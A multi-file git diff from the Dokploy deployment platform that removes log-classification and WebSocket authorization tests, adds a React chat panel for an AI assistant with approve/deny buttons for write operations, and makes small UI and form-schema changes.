-				"error",
-			);
-			expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
-				"warning",
-			);
-			expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
-				"error",
-			);
-		});
-
-		test("logfmt levels", () => {
-			expect(
-				getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
-			).toBe("error");
-			expect(
-				getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
-			).toBe("info");
-			expect(getLogType("level=warn msg=careful").type).toBe("warning");
-		});
-
-		test("declared level wins over keywords in the message (#4589, #1996)", () => {
-			// "version"/"GET" in this pino line would otherwise match the debug keywords
-			const pinoError =
-				'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
-			expect(getLogType(pinoError).type).toBe("error");
-
-			// info line containing error-like keywords (#4589)
-			expect(
-				getLogType(
-					'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
-				).type,
-			).toBe("info");
-
-			// successful job summary with "failed: false, error: none" (#4538)
-			expect(
-				getLogType(
-					'level=info msg="Finished job, failed: false, skipped: false, error: none"',
-				).type,
-			).toBe("info");
-		});
-
-		test("declared level wins over statusCode", () => {
-			expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
-		});
-
-		test("unknown level names fall back to keyword detection", () => {
-			expect(
-				getLogType('{"level":"verbose","msg":"connection failed"}').type,
-			).toBe("error");
-		});
-
-		test("env-var-like text is not treated as logfmt level", () => {
-			expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
-				"error",
-			);
-		});
-	});
-
-	describe("fallback detection for unstructured logs (unchanged)", () => {
-		test("statusCode classification", () => {
-			expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
-			expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
-		});
-
-		test("keyword classification", () => {
-			expect(getLogType("error: something broke").type).toBe("error");
-			expect(getLogType("warning: disk almost full").type).toBe("warning");
-			expect(getLogType("Server listening on port 8080").type).toBe("success");
-		});
-
-		test("defaults to info", () => {
-			expect(getLogType("hello world").type).toBe("info");
-		});
-	});
-});

apps/dokploy/__test__/wss/authorize.test.ts

@@ -1,104 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// Mock the permission + server helpers the wss authorizer composes.
-const mockHasPermission = vi.hoisted(() => vi.fn());
-const mockFindMember = vi.hoisted(() => vi.fn());
-const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server/services/permission", () => ({
-	hasPermission: mockHasPermission,
-	findMemberByUserId: mockFindMember,
-	checkServiceAccess: mockCheckServiceAccess,
-}));
-
-const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server", () => ({
-	getAccessibleServerIds: mockGetAccessibleServerIds,
-}));
-
-import {
-	canAccessDockerOverWss,
-	canAccessTerminalOverWss,
-} from "@/server/wss/authorize";
-
-const USER = { id: "user-1" };
-const SESSION = { activeOrganizationId: "org-1" };
-
-beforeEach(() => {
-	vi.clearAllMocks();
-});
-
-describe("canAccessDockerOverWss", () => {
-	it("denies when there is no user or session", async () => {
-		expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
-		expect(await canAccessDockerOverWss(USER, null)).toBe(false);
-	});
-
-	it("denies a member without docker permission", async () => {
-		mockHasPermission.mockResolvedValue(false);
-		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
-	});
-
-	it("allows when the caller has docker permission (no server)", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
-	});
-
-	it("denies a remote server the caller cannot access, even with docker permission", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
-		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
-	});
-
-	it("allows a remote server the caller can access", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
-		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
-	});
-
-	it("denies when the container belongs to a service the caller cannot access", async () => {
-		mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
-		expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
-			false,
-		);
-	});
-
-	it("allows service access even without docker permission or server access", async () => {
-		// A member granted the service but without canAccessToDocker, whose
-		// service runs on a server they were not individually granted, must still
-		// read its logs — matches application.readLogs (service access only).
-		mockHasPermission.mockResolvedValue(false);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set());
-		mockCheckServiceAccess.mockResolvedValue(undefined);
-		expect(
-			await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
-		).toBe(true);
-		// Service path is authoritative — it must not fall through to docker/server.
-		expect(mockHasPermission).not.toHaveBeenCalled();
-		expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
-	});
-});
-
-describe("canAccessTerminalOverWss", () => {
-	it("denies the local host terminal to a plain member", async () => {
-		mockFindMember.mockResolvedValue({ role: "member" });
-		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
-	});
-
-	it("allows the local host terminal to an owner", async () => {
-		mockFindMember.mockResolvedValue({ role: "owner" });
-		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
-	});
-
-	it("allows the local host terminal to an admin", async () => {
-		mockFindMember.mockResolvedValue({ role: "admin" });
-		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
-	});
-
-	it("gates a remote server terminal on server access", async () => {
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
-		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
-		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
-		// role lookup must not be needed for the remote path
-		expect(mockFindMember).not.toHaveBeenCalled();
-	});
-});

apps/dokploy/__test__/wss/readValidDirectory.test.ts

@@ -78,20 +78,4 @@ describe("readValidDirectory (path traversal)", () => {
 	it("returns false for empty string (resolves to cwd)", () => {
 		expect(readValidDirectory("")).toBe(false);
 	});
-
-	it("returns true for Next.js dynamic route paths with square brackets", () => {
-		expect(
-			readValidDirectory(
-				`${BASE}/applications/myapp/code/app/api/[id]/route.ts`,
-			),
-		).toBe(true);
-		expect(
-			readValidDirectory(`${BASE}/applications/myapp/code/pages/[slug].tsx`),
-		).toBe(true);
-		expect(
-			readValidDirectory(
-				`${BASE}/applications/myapp/code/app/[...catch]/page.tsx`,
-			),
-		).toBe(true);
-	});
 });

apps/dokploy/components.json

@@ -1,22 +1,17 @@
 {
 	"$schema": "https://ui.shadcn.com/schema.json",
-	"style": "radix-nova",
+	"style": "default",
 	"rsc": false,
 	"tsx": true,
 	"tailwind": {
-		"config": "",
+		"config": "tailwind.config.ts",
 		"css": "styles/globals.css",
-		"baseColor": "neutral",
+		"baseColor": "zinc",
 		"cssVariables": true,
 		"prefix": ""
 	},
 	"aliases": {
 		"components": "@/components",
 		"utils": "@/lib/utils"
-	},
-	"iconLibrary": "lucide",
-	"rtl": false,
-	"menuColor": "default",
-	"menuAccent": "subtle",
-	"registries": {}
+	}
 }

apps/dokploy/components/dashboard/ai-chat/chat-panel.tsx

@@ -0,0 +1,629 @@
+"use client";
+
+import { useChat } from "@ai-sdk/react";
+import type { ChatContext } from "@dokploy/server/utils/ai/chat-tools";
+import { DefaultChatTransport } from "ai";
+import {
+	Bot,
+	Check,
+	ChevronDown,
+	Loader2,
+	Send,
+	Trash2,
+	Wrench,
+	X,
+} from "lucide-react";
+import { useRouter } from "next/router";
+import { useEffect, useMemo, useRef, useState } from "react";
+import ReactMarkdown from "react-markdown";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Collapsible,
+	CollapsibleContent,
+	CollapsibleTrigger,
+} from "@/components/ui/collapsible";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import {
+	Sheet,
+	SheetContent,
+	SheetDescription,
+	SheetHeader,
+	SheetTitle,
+} from "@/components/ui/sheet";
+import { Textarea } from "@/components/ui/textarea";
+import { api } from "@/utils/api";
+
+function useChatContext(): ChatContext {
+	const router = useRouter();
+	const { query, pathname } = router;
+
+	return useMemo(() => {
+		const projectId =
+			typeof query.projectId === "string" ? query.projectId : undefined;
+		const environmentId =
+			typeof query.environmentId === "string"
+				? query.environmentId
+				: undefined;
+		const serverId =
+			typeof query.serverId === "string" ? query.serverId : undefined;
+
+		const serviceParams = [
+			{ key: "applicationId", type: "application" },
+			{ key: "composeId", type: "compose" },
+			{ key: "postgresId", type: "postgres" },
+			{ key: "mysqlId", type: "mysql" },
+			{ key: "redisId", type: "redis" },
+			{ key: "mongoId", type: "mongo" },
+			{ key: "mariadbId", type: "mariadb" },
+			{ key: "libsqlId", type: "libsql" },
+		] as const;
+
+		for (const { key, type } of serviceParams) {
+			if (query[key] && typeof query[key] === "string") {
+				return {
+					type,
+					id: query[key] as string,
+					projectId,
+					environmentId,
+					serverId,
+				};
+			}
+		}
+
+		if (query.projectId && typeof query.projectId === "string") {
+			return {
+				type: "project" as const,
+				id: query.projectId,
+				projectId,
+				environmentId,
+				serverId,
+			};
+		}
+		return {
+			type: "general" as const,
+			id: "",
+			projectId,
+			environmentId,
+			serverId,
+		};
+	}, [
+		query.applicationId,
+		query.composeId,
+		query.postgresId,
+		query.mysqlId,
+		query.redisId,
+		query.mongoId,
+		query.mariadbId,
+		query.libsqlId,
+		query.projectId,
+		query.environmentId,
+		query.serverId,
+		pathname,
+	]);
+}
+
+export function ChatPanel() {
+	const [open, setOpen] = useState(false);
+	const [aiId, setAiId] = useState<string>("");
+	const [input, setInput] = useState("");
+	const scrollRef = useRef<HTMLDivElement>(null);
+	const inputRef = useRef<HTMLTextAreaElement>(null);
+	const context = useChatContext();
+	const aiIdRef = useRef(aiId);
+	const contextRef = useRef(context);
+	aiIdRef.current = aiId;
+	contextRef.current = context;
+
+	const { data: isCloud } = api.settings.isCloud.useQuery(undefined, {
+		refetchOnWindowFocus: false,
+	});
+
+	const { data: providers } = api.ai.getEnabledProviders.useQuery(undefined, {
+		refetchOnWindowFocus: false,
+		enabled: !isCloud,
+	});
+
+	const enabledProviders = providers ?? [];
+
+	const STORAGE_KEY = "dokploy-chat-messages";
+	const restoredRef = useRef(false);
+
+	const { messages, sendMessage, status, setMessages, addToolApprovalResponse } = useChat({
+			id: "dokploy-chat",
+			transport: new DefaultChatTransport({
+				api: "/api/ai/chat",
+				body: () => ({
+					...(isCloud ? {} : { aiId: aiIdRef.current }),
+					context: contextRef.current,
+				}),
+			}),
+		});
+
+	const isLoading = status === "streaming" || status === "submitted";
+
+	// Restore messages from localStorage on mount
+	useEffect(() => {
+		if (restoredRef.current) return;
+		restoredRef.current = true;
+		try {
+			const stored = localStorage.getItem(STORAGE_KEY);
+			if (stored) {
+				const parsed = JSON.parse(stored);
+				if (Array.isArray(parsed) && parsed.length > 0) {
+					setMessages(parsed);
+				}
+			}
+		} catch {
+			// ignore
+		}
+	}, [setMessages]);
+
+	// Persist messages to localStorage
+	useEffect(() => {
+		if (!restoredRef.current) return;
+		if (messages.length > 0) {
+			try {
+				const toStore = messages.slice(-50);
+				localStorage.setItem(STORAGE_KEY, JSON.stringify(toStore));
+			} catch {
+				// localStorage full or unavailable — ignore
+			}
+		}
+	}, [messages]);
+
+	useEffect(() => {
+		if (!isCloud && !aiId && enabledProviders.length > 0 && enabledProviders[0]) {
+			setAiId(enabledProviders[0].aiId);
+		}
+	}, [enabledProviders, aiId, isCloud]);
+
+	useEffect(() => {
+		if (scrollRef.current) {
+			scrollRef.current.scrollTop = scrollRef.current.scrollHeight;
+		}
+	}, [messages, status]);
+
+	if (!isCloud && enabledProviders.length === 0) return null;
+
+	const handleSend = () => {
+		if (!input.trim() || isLoading) return;
+		if (!isCloud && !aiId) return;
+		sendMessage({ text: input });
+		setInput("");
+		setTimeout(() => inputRef.current?.focus(), 0);
+	};
+
+	const contextLabel =
+		context.type === "general" ? "General" : context.type;
+
+	const lastMessage = messages[messages.length - 1];
+
+	return (
+		<>
+			<Button
+				onClick={() => setOpen(true)}
+				variant="outline"
+				className="fixed bottom-6 right-6 z-50 h-11 w-11 rounded-full shadow-md border"
+				size="icon"
+			>
+				<Bot className="h-5 w-5" />
+			</Button>
+
+			<Sheet open={open} onOpenChange={setOpen}>
+				<SheetContent
+					side="right"
+					className="w-full sm:w-[480px] p-0 flex flex-col border-l outline-none"
+				>
+					<SheetHeader className="px-4 py-3 border-b shrink-0">
+						<div className="flex items-center justify-between">
+							<div className="flex items-center gap-2">
+								<Bot className="h-4 w-4 text-muted-foreground" />
+								<SheetTitle className="text-sm font-medium">
+									{isCloud ? "Dokploy Agent" : "AI Assistant"}
+								</SheetTitle>
+								{isLoading && (
+									<span className="text-xs text-muted-foreground animate-pulse">
+										working...
+									</span>
+								)}
+							</div>
+						</div>
+						<SheetDescription className="sr-only">
+							Chat with AI to manage your infrastructure
+						</SheetDescription>
+						<div className="flex items-center gap-2 pt-1">
+							{!isCloud && (
+								<Select value={aiId} onValueChange={setAiId}>
+									<SelectTrigger className="h-8 text-xs flex-1">
+										<SelectValue placeholder="Select provider..." />
+									</SelectTrigger>
+									<SelectContent>
+										{enabledProviders.map((p) => (
+											<SelectItem key={p.aiId} value={p.aiId}>
+												{p.name} ({p.model})
+											</SelectItem>
+										))}
+									</SelectContent>
+								</Select>
+							)}
+							<Badge
+								variant="outline"
+								className="text-xs shrink-0 capitalize font-normal"
+							>
+								{contextLabel}
+							</Badge>
+							{messages.length > 0 && (
+								<Button
+									variant="ghost"
+									size="icon"
+									className="h-8 w-8 shrink-0"
+									onClick={() => { setMessages([]); localStorage.removeItem(STORAGE_KEY); }}
+									title="Clear chat"
+								>
+									<Trash2 className="h-3.5 w-3.5" />
+								</Button>
+							)}
+						</div>
+					</SheetHeader>
+
+					<div
+						ref={scrollRef}
+						className="flex-1 overflow-y-auto p-4 space-y-3"
+					>
+						{messages.length === 0 && (
+							<div className="flex flex-col items-center justify-center h-full text-muted-foreground gap-3">
+								<Bot className="h-8 w-8 opacity-30" />
+								<p className="text-sm text-center">
+									Ask me anything about your{" "}
+									{context.type === "general"
+										? "infrastructure"
+										: context.type}
+								</p>
+								<div className="flex flex-wrap gap-1.5 justify-center">
+									{(context.type === "application"
+										? [
+												"What's the status of this app?",
+												"Why did the last build fail?",
+												"Show me recent deployments",
+												"Redeploy this app",
+											]
+										: context.type === "compose"
+											? [
+													"Show compose service status",
+													"Why did the last deploy fail?",
+													"Show me the domains",
+													"Redeploy this service",
+												]
+											: context.type === "postgres" ||
+												  context.type === "mysql" ||
+												  context.type === "redis" ||
+												  context.type === "mongo" ||
+												  context.type === "mariadb" ||
+												  context.type === "libsql"
+												? [
+														`Show ${context.type} status`,
+														"What's the connection info?",
+														"Show recent deployments",
+														"Restart this database",
+													]
+												: context.type === "project"
+													? [
+															"How many services do I have?",
+															"Show me all environments",
+															"Which services are failing?",
+														]
+													: [
+															"List all my projects",
+															"Show project overview",
+															"What servers do I have?",
+														]
+									).map((suggestion) => (
+										<Button
+											key={suggestion}
+											variant="outline"
+											size="sm"
+											className="text-xs h-7 font-normal"
+											onClick={() => setInput(suggestion)}
+										>
+											{suggestion}
+										</Button>
+									))}
+								</div>
+							</div>
+						)}
+
+						{messages.map((message) => {
+							if (message.role === "user") {
+								return (
+									<div key={message.id} className="flex justify-end">
+										<div className="max-w-[85%] rounded-lg px-3 py-2 text-sm bg-muted">
+											<p className="whitespace-pre-wrap">
+												{message.parts
+													.filter(
+														(p): p is { type: "text"; text: string } =>
+															p.type === "text",
+													)
+													.map((p) => p.text)
+													.join("")}
+											</p>
+										</div>
+									</div>
+								);
+							}
+
+							return (
+								<div key={message.id} className="flex justify-start">
+									<div className="max-w-[90%] space-y-2">
+										{message.parts.map((part, i) => {
+											if (
+												part.type === "text" &&
+												(part as { text?: string }).text?.trim()
+											) {
+												return (
+													<div
+														key={`text-${message.id}-${i}`}
+														className="rounded-lg border px-3 py-2 text-sm prose prose-sm dark:prose-invert max-w-none break-words"
+													>
+														<ReactMarkdown>
+															{(part as { text: string }).text}
+														</ReactMarkdown>
+													</div>
+												);
+											}
+
+											if (part.type === "dynamic-tool") {
+												return (
+													<div
+														key={part.toolCallId}
+														className="rounded-lg border px-3 py-2"
+													>
+														<ToolCallDisplay
+															toolCallId={part.toolCallId}
+															toolName={part.toolName}
+															state={part.state}
+															input={(part as any).input}
+															output={
+																part.state === "output-available"
+																	? part.output
+																	: undefined
+															}
+															onApprove={(id) =>
+																addToolApprovalResponse({
+																	id,
+																	approved: true,
+																})
+															}
+															onDeny={(id) =>
+																addToolApprovalResponse({
+																	id,
+																	approved: false,
+																	reason: "User denied",
+																})
+															}
+														/>
+													</div>
+												);
+											}
+
+											if (part.type === "reasoning") {
+												return (
+													<Collapsible key={`reasoning-${message.id}-${i}`}>
+														<CollapsibleTrigger asChild>
+															<button
+																type="button"
+																className="flex items-center gap-1.5 text-xs text-muted-foreground hover:text-foreground transition-colors"
+															>
+																<Bot className="h-3 w-3" />
+																<span>Thinking...</span>
+																<ChevronDown className="h-3 w-3" />
+															</button>
+														</CollapsibleTrigger>
+														<CollapsibleContent>
+															<div className="mt-1 rounded-lg border px-3 py-2 text-xs text-muted-foreground italic">
+																{(part as any).text ||
+																	(part as any).reasoning}
+															</div>
+														</CollapsibleContent>
+													</Collapsible>
+												);
+											}
+
+											return null;
+										})}
+									</div>
+								</div>
+							);
+						})}
+
+						{isLoading && lastMessage?.role === "user" && (
+							<div className="flex justify-start">
+								<div className="rounded-lg border px-3 py-2 flex items-center gap-2 text-xs text-muted-foreground">
+									<Loader2 className="h-3 w-3 animate-spin" />
+									Investigating...
+								</div>
+							</div>
+						)}
+					</div>
+
+					<div className="border-t p-3 shrink-0 flex gap-2">
+						<Textarea
+							ref={inputRef}
+							value={input}
+							onChange={(e) => setInput(e.target.value)}
+							placeholder={
+								!isCloud && !aiId
+									? "Select a provider first..."
+									: "Ask anything..."
+							}
+							disabled={(!isCloud && !aiId) || isLoading}
+							className="min-h-[40px] max-h-[120px] resize-none text-sm"
+							rows={1}
+							onKeyDown={(e) => {
+								if (e.key === "Enter" && !e.shiftKey) {
+									e.preventDefault();
+									handleSend();
+								}
+							}}
+						/>
+						<Button
+							type="button"
+							size="icon"
+							variant="outline"
+							disabled={
+								(!isCloud && !aiId) || !input.trim() || isLoading
+							}
+							className="shrink-0 h-10 w-10"
+							onClick={handleSend}
+						>
+							<Send className="h-4 w-4" />
+						</Button>
+					</div>
+				</SheetContent>
+			</Sheet>
+		</>
+	);
+}
+
+function ToolCallDisplay({
+	toolCallId,
+	toolName,
+	state,
+	input,
+	output,
+	onApprove,
+	onDeny,
+}: {
+	toolCallId: string;
+	toolName: string;
+	state: string;
+	input?: unknown;
+	output?: unknown;
+	onApprove?: (id: string) => void;
+	onDeny?: (id: string) => void;
+}) {
+	const [isOpen, setIsOpen] = useState(false);
+	const isRunning =
+		state === "input-streaming" || state === "input-available";
+	const isDone = state === "output-available";
+	const isError = state === "output-error";
+	const needsApproval = state === "requires-approval";
+
+	const outputText = output
+		? typeof output === "string"
+			? output
+			: JSON.stringify(output, null, 2)
+		: null;
+
+	// Extract operationId and params from input
+	const inputData = input as { operationId?: string; params?: Record<string, unknown> } | undefined;
+	const operationId = inputData?.operationId;
+	const params = inputData?.params;
+
+	// Format: "compose-one" → "compose → one"
+	const displayLabel = operationId
+		? operationId.replace("-", " → ")
+		: toolName;
+
+	// Determine HTTP method hint from operationId
+	const isReadOp = operationId?.match(/^(.*-)?(one|all|get|list|read|search|by)/i);
+
+	const StatusIcon = isRunning
+		? () => <Loader2 className="h-3.5 w-3.5 animate-spin text-blue-500 shrink-0" />
+		: isDone
+			? () => <Check className="h-3.5 w-3.5 text-green-500 shrink-0" />
+			: isError
+				? () => <X className="h-3.5 w-3.5 text-red-500 shrink-0" />
+				: () => <Wrench className="h-3.5 w-3.5 text-muted-foreground shrink-0" />;
+
+	if (needsApproval) {
+		return (
+			<div className="space-y-2">
+				<div className="flex items-center gap-2 text-xs">
+					<Wrench className="h-3.5 w-3.5 text-yellow-500 shrink-0" />
+					<code className="font-mono text-xs font-medium">{displayLabel}</code>
+					<Badge variant="outline" className="text-[10px] px-1 py-0 h-4 font-normal">
+						write
+					</Badge>
+				</div>
+				{params && Object.keys(params).length > 0 && (
+					<div className="ml-5.5 flex flex-wrap gap-1">
+						{Object.entries(params).map(([key, value]) => (
+							<span key={key} className="text-[10px] bg-muted px-1.5 py-0.5 rounded font-mono">
+								{key}={typeof value === "string" ? `"${value}"` : String(value)}
+							</span>
+						))}
+					</div>
+				)}
+				<div className="flex gap-1.5 ml-5.5">
+					<Button
+						variant="outline"
+						size="sm"
+						className="h-6 text-xs px-2"
+						onClick={() => onApprove?.(toolCallId)}
+					>
+						<Check className="h-3 w-3 mr-1" />
+						Approve
+					</Button>
+					<Button
+						variant="ghost"
+						size="sm"
+						className="h-6 text-xs px-2"
+						onClick={() => onDeny?.(toolCallId)}
+					>
+						<X className="h-3 w-3 mr-1" />
+						Deny
+					</Button>
+				</div>
+			</div>
+		);
+	}
+
+	return (
+		<div className="space-y-1">
+			<Collapsible open={isOpen} onOpenChange={setIsOpen}>
+				<CollapsibleTrigger asChild>
+					<button
+						type="button"
+						className="flex items-center gap-2 text-xs w-full hover:bg-muted/50 rounded -mx-1 px-1 py-0.5 transition-colors"
+					>
+						<StatusIcon />
+						<code className="font-mono text-xs font-medium">{displayLabel}</code>
+						{isReadOp && (
+							<Badge variant="secondary" className="text-[10px] px-1 py-0 h-4 font-normal">
+								read
+							</Badge>
+						)}
+						{params && Object.keys(params).length > 0 && (
+							<span className="text-[10px] text-muted-foreground truncate">
+								{Object.entries(params)
+									.slice(0, 3)
+									.map(([k, v]) => `${k}=${typeof v === "string" ? `"${String(v).slice(0, 20)}"` : String(v)}`)
+									.join(", ")}
+								{Object.keys(params).length > 3 ? ` +${Object.keys(params).length - 3}` : ""}
+							</span>
+						)}
+						{(outputText || isRunning) && (
+							<ChevronDown
+								className={`h-3 w-3 ml-auto text-muted-foreground transition-transform shrink-0 ${isOpen ? "rotate-180" : ""}`}
+							/>
+						)}
+					</button>
+				</CollapsibleTrigger>
+				{outputText && (
+					<CollapsibleContent>
+						<pre className="mt-1 ml-5.5 p-2 bg-muted/50 rounded text-[10px] overflow-x-auto max-h-[200px] overflow-y-auto leading-tight whitespace-pre-wrap break-words">
+							{outputText}
+						</pre>
+					</CollapsibleContent>
+				)}
+			</Collapsible>
+		</div>
+	);
+}

apps/dokploy/components/dashboard/application/advanced/cluster/modify-swarm-settings.tsx

@@ -156,7 +156,7 @@ export const AddSwarmSettings = ({ id, type }: Props) => {
 
 				<div className="flex gap-4 h-[60vh] py-4">
 					{/* Left Column - Menu */}
-					<div className="w-64 shrink-0 border-r pr-4 overflow-y-auto">
+					<div className="w-64 flex-shrink-0 border-r pr-4 overflow-y-auto">
 						<nav className="space-y-1">
 							<TooltipProvider>
 								{menuItems.map((item) => (

apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx

@@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => {
 												To use a cluster feature, you need to configure at least
 												a registry first. Please, go to{" "}
 												<Link
-													href="/dashboard/docker?tab=swarm&subtab=nodes"
+													href="/dashboard/settings/cluster"
 													className="text-foreground"
 												>
 													Settings

apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/health-check-form.tsx

@@ -16,17 +16,12 @@ import {
 import { Input } from "@/components/ui/input";
 import { api } from "@/utils/api";
 
-const optionalNumber = z
-	.union([z.string(), z.number()])
-	.transform((val) => (val === "" ? undefined : Number(val)))
-	.optional();
-
 export const healthCheckFormSchema = z.object({
 	Test: z.array(z.string()).optional(),
-	Interval: optionalNumber,
-	Timeout: optionalNumber,
-	StartPeriod: optionalNumber,
-	Retries: optionalNumber,
+	Interval: z.coerce.number().optional(),
+	Timeout: z.coerce.number().optional(),
+	StartPeriod: z.coerce.number().optional(),
+	Retries: z.coerce.number().optional(),
 });
 
 interface HealthCheckFormProps {
@@ -200,12 +195,7 @@ export const HealthCheckForm = ({ id, type }: HealthCheckFormProps) => {
 								Time between health checks (e.g., 10000000000 for 10 seconds)
 							</FormDescription>
 							<FormControl>
-								<Input
-									type="number"
-									placeholder="10000000000"
-									{...field}
-									value={field.value ?? ""}
-								/>
+								<Input type="number" placeholder="10000000000" {...field} />
 							</FormControl>
 							<FormMessage />
 						</FormItem>
@@ -222,12 +212,7 @@ export const HealthCheckForm = ({ id, type }: HealthCheckFormProps) => {
 								Maximum time to wait for health check response
 							</FormDescription>
 							<FormControl>
-								<Input
-									type="number"
-									placeholder="10000000000"
-									{...field}
-									value={field.value ?? ""}
-								/>
+								<Input type="number" placeholder="10000000000" {...field} />
 							</FormControl>
 							<FormMessage />
 						</FormItem>
@@ -244,12 +229,7 @@ export const HealthCheckForm = ({ id, type }: HealthCheckFormProps) => {
 								Initial grace period before health checks begin
 							</FormDescription>
 							<FormControl>
-								<Input
-									type="number"
-									placeholder="10000000000"
-									{...field}
-									value={field.value ?? ""}
-								/>
+								<Input type="number" placeholder="10000000000" {...field} />
 							</FormControl>
 							<FormMessage />
 						</FormItem>
@@ -267,12 +247,7 @@ export const HealthCheckForm = ({ id, type }: HealthCheckFormProps) => {
 								unhealthy
 							</FormDescription>
 							<FormControl>
-								<Input
-									type="number"
-									placeholder="3"
-									{...field}
-									value={field.value ?? ""}
-								/>
+								<Input type="number" placeholder="3" {...field} />
 							</FormControl>
 							<FormMessage />
 						</FormItem>

apps/dokploy/components/dashboard/application/advanced/import/show-import.tsx

@@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
 								</Button>
 							</div>
 							<Dialog open={showModal} onOpenChange={setShowModal}>
-								<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col">
+								<DialogContent className="max-w-[50vw]">
 									<DialogHeader>
 										<DialogTitle className="text-2xl font-bold">
 											Template Information
@@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
 										</DialogDescription>
 									</DialogHeader>
 
-									<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1">
+									<div className="flex flex-col gap-6">
 										<div className="space-y-4">
 											<div className="flex items-center gap-2">
 												<Code2 className="h-5 w-5 text-primary" />
@@ -207,14 +207,12 @@ export const ShowImport = ({ composeId }: Props) => {
 													Docker Compose
 												</h3>
 											</div>
-											<div className="max-h-[45vh] overflow-auto rounded-md border">
-												<CodeEditor
-													language="yaml"
-													value={templateInfo?.compose || ""}
-													className="font-mono"
-													readOnly
-												/>
-											</div>
+											<CodeEditor
+												language="yaml"
+												value={templateInfo?.compose || ""}
+												className="font-mono"
+												readOnly
+											/>
 										</div>
 
 										<Separator />
@@ -231,7 +229,7 @@ export const ShowImport = ({ composeId }: Props) => {
 															(domain, index) => (
 																<div
 																	key={index}
-																	className="rounded-lg border bg-card p-3 text-card-foreground shadow-xs"
+																	className="rounded-lg border bg-card p-3 text-card-foreground shadow-sm"
 																>
 																	<div className="font-medium">
 																		{domain.serviceName}

apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx

@@ -234,7 +234,7 @@ export const HandleRedirect = ({
 									<FormItem>
 										<FormLabel>Replacement</FormLabel>
 										<FormControl>
-											<Input placeholder="http://mydomain/$1" {...field} />
+											<Input placeholder="http://mydomain/$${1}" {...field} />
 										</FormControl>
 
 										<FormMessage />
@@ -246,7 +246,7 @@ export const HandleRedirect = ({
 								control={form.control}
 								name="permanent"
 								render={({ field }) => (
-									<FormItem className="flex flex-row items-center justify-between p-3 mt-4 border rounded-lg shadow-xs">
+									<FormItem className="flex flex-row items-center justify-between p-3 mt-4 border rounded-lg shadow-sm">
 										<div className="space-y-0.5">
 											<FormLabel>Permanent</FormLabel>
 											<FormDescription>

apps/dokploy/components/dashboard/application/advanced/show-resources.tsx

@@ -224,7 +224,7 @@ export const ShowResources = ({ id, type }: Props) => {
 												<FormLabel>Memory Limit</FormLabel>
 												<TooltipProvider>
 													<Tooltip delayDuration={0}>
-														<TooltipTrigger type="button">
+														<TooltipTrigger>
 															<InfoIcon className="h-4 w-4 text-muted-foreground" />
 														</TooltipTrigger>
 														<TooltipContent>
@@ -263,7 +263,7 @@ export const ShowResources = ({ id, type }: Props) => {
 											<FormLabel>Memory Reservation</FormLabel>
 											<TooltipProvider>
 												<Tooltip delayDuration={0}>
-													<TooltipTrigger type="button">
+													<TooltipTrigger>
 														<InfoIcon className="h-4 w-4 text-muted-foreground" />
 													</TooltipTrigger>
 													<TooltipContent>
@@ -303,7 +303,7 @@ export const ShowResources = ({ id, type }: Props) => {
 												<FormLabel>CPU Limit</FormLabel>
 												<TooltipProvider>
 													<Tooltip delayDuration={0}>
-														<TooltipTrigger type="button">
+														<TooltipTrigger>
 															<InfoIcon className="h-4 w-4 text-muted-foreground" />
 														</TooltipTrigger>
 														<TooltipContent>
@@ -343,7 +343,7 @@ export const ShowResources = ({ id, type }: Props) => {
 												<FormLabel>CPU Reservation</FormLabel>
 												<TooltipProvider>
 													<Tooltip delayDuration={0}>
-														<TooltipTrigger type="button">
+														<TooltipTrigger>
 															<InfoIcon className="h-4 w-4 text-muted-foreground" />
 														</TooltipTrigger>
